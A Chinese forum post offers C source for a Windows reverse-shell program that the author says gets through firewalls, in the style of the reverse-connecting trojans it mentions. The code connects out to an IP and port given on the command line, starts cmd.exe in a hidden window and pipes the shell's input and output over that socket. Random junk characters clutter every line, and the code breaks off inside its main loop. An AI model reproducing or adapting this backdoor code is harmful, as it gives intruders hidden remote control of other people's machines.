这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _ *l+ze[a
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/* ============================== qjr:(x /
Rebound port in Windows NT S_eD1iY2-
By wind,2006/7 84f(B E
===============================*/ d/"%fpp^0G
#include XE#a#
#include CMhl* dH
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#pragma comment(lib,"wsock32.lib") $?Km3N\?v
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void OutputShell(); ahh&h1q7|
SOCKET sClient; 3<XP/c";
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; b6%[?k
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void main(int argc,char **argv) eoj(zY3
{ D6I-:{ws
WSADATA stWsaData;
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int nRet; FOyANN'
SOCKADDR_IN stSaiClient,stSaiServer; R$Rub/b6
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if(argc != 3) gB_gjn\
{ R+*-i+]Q#7
printf("Useage:\n\rRebound DestIP DestPort\n"); g+j\wvx0
return;
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} 8l>7=~Egp
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WSAStartup(MAKEWORD(2,2),&stWsaData); ' Ig:-
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9oj#5Hq
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stSaiClient.sin_family = AF_INET; oA* 88c+{f
stSaiClient.sin_port = htons(0); A(D>Zh6 o@
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); u?4d<%5R!
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) eK[9wEdn
{ iBPIj;,
printf("Bind Socket Failed!\n"); g#iRkz%l)&
return; +Pc2`,pw|
} ,. HS )<B
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stSaiServer.sin_family = AF_INET; 5(>ux@[qI:
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); cd&sAK"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @ N@
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Eo`'6
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printf("Connect Error!"); 5yL\@7u`
return; g [u*`]-;v
} :bq${
OutputShell(); {^.q6,l
} r,<p#4(>_
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void OutputShell() +<T361eyY
{ <CcSChCg
char szBuff[1024]; s7(1|}jh
SECURITY_ATTRIBUTES stSecurityAttributes; v=_Ds<6n
OSVERSIONINFO stOsversionInfo; en"\2+{Cg
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; cK- jN9U
STARTUPINFO stStartupInfo; `.g'bZ<v/
char *szShell; V
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PROCESS_INFORMATION stProcessInformation; ]pWn%aGv*Y
unsigned long lBytesRead; vX?C9Fr 2
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *`40B6dEr
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); lMmP]{.>$
stSecurityAttributes.lpSecurityDescriptor = 0; 7/HX!y{WP
stSecurityAttributes.bInheritHandle = TRUE; v]'\]U^
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); s$kvLy<
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); SN 4JX
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); sk5B} -
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zWrynJ}s
stStartupInfo.wShowWindow = SW_HIDE; L0R$T=~%)
stStartupInfo.hStdInput = hReadPipe; 9JqT"zj
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]*X z~Ox2
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GetVersionEx(&stOsversionInfo); bt"5.nm
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switch(stOsversionInfo.dwPlatformId) \bies1TBB^
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case 1: tmQ,>
szShell = "command.com"; 6st^-L
break; !y862oKD
default: t9.| i H
szShell = "cmd.exe"; (+nnX7V?I
break; vW0U~(XlN
} 3fUiYI|&7
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !iL6 /
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send(sClient,szMsg,77,0); <OrQbrWQa
while(1) h%5keiA
{ 5S ) N&%
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); zCS&